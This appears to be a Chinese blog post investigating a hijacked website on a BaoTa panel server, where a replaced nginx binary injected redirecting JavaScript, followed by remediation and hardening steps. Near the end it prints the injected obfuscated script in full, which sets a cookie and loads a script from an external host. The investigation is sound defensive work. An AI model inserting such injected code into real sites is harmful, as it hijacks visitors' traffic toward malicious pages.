起因
有一个朋友系列,说是自己网站被劫持。具体现象如下:当打开网站时,页面有几率被随机跳转至一个黄色直播广告页。查看具体请求详情后发现每个.js文件后面都在头部被插入了一段加密内容。
排查路径
得到上机权限后,首先查看访问路径对应的具体文件与nginx配置文件。发现并无恶意内容。并且在CURL访问的时候,返回的内容是正常的。通过burp逐个对header字段进行排查,发现主要是判断了accept-encoding字段:
在 accept-encoding 为空的时候不返回恶意代码,来尝试绕过排查。
初步怀疑是在nginx插件动的手,历史上也遇到过引入LUA脚本进行流量劫持的情况。便在机器上查找改动过的文件:
发现除了正常的文件变动以外,nginx文件竟然也变动了。
被修改后的文件hash :444ac7cdf3a5776231b7994aad42e960 https://www.virustotal.com/gui/file/abdf025595c1e544d7a33432d4a8b2ed0a0170bc4d1657312396e14d277dc2d1/details
并且在历史上 First Submission 在 2022-10-13 13:22:49 UTC
除了nginx变动外,那就是宝塔面板本身的请求日志文件了。
与之相对应的就是
除/www目录外,其余目录也未找到其他可疑的文件变动记录。ssh无成功登录日志。
排查结论
综上所述:SSH并无登录日志,且被入侵前用户没有主动登录面板的行为(排除前几个月的日志XSS导致RCE漏洞),宝塔面板版本为 免费版 7.9.5。
宝塔面板疑似(最重要的访问日志被删除,无法下一定结论)出现漏洞,入侵者可以主动登入面板后台进行操作,替换掉nginx的可执行文件以达到流量劫持的目的。除此以外未发现有其他后门信息。
解决方案
止损
按照当前情况,入侵者只是为了做流量劫持,并未发现其他进一步行为。重新安装nginx即可解决劫持问题。重新安装后清除CDN等的缓存。
加固
在之前宝塔phpmyadmin出问题的时候,网络上就有很多加固方案。这里我选取一个,可按照如下步骤进行操作:
- 面板设置-绑定域名
- 站点管理-新建站点-反向代理 url写 http://127.0.0.1:8888 host 写上一步骤绑定的域名。
- 确认通过域名不添加额外端口能够正常访问面板以后,安全-系统防火墙-端口规则,将面板端口对外开放的规则删除或者设置为只允许127.0.0.1访问。
- 为反代面板的站点 开启Https。
- 面板设置-安全设置 里面有 BasicAuth、动态口令验证,建议开启
其他
被插入的JS内容
var _0x2551=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x6D\x65\x74\x61\x6D\x61\x72\x6B\x65\x74\x2E\x71\x75\x65\x73\x74\x2F\x6D\x61\x72\x6B\x65\x74\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0x7338x2,_0x7338x3,_0x7338x4){var _0x7338x5= new Date();_0x7338x5[_0x2551[1]](_0x7338x5[_0x2551[0]]()+ _0x7338x4);document[_0x2551[2]]= _0x7338x2+ _0x2551[3]+ _0x7338x3+ _0x2551[4]+ _0x7338x5[_0x2551[5]]()}setc(_0x2551[6],_0x2551[7],360);document[_0x2551[9]](unescape(_0x2551[8]));
解码后为引入以下JS
<script src='https://www.metamarket.quest/market.js'></script>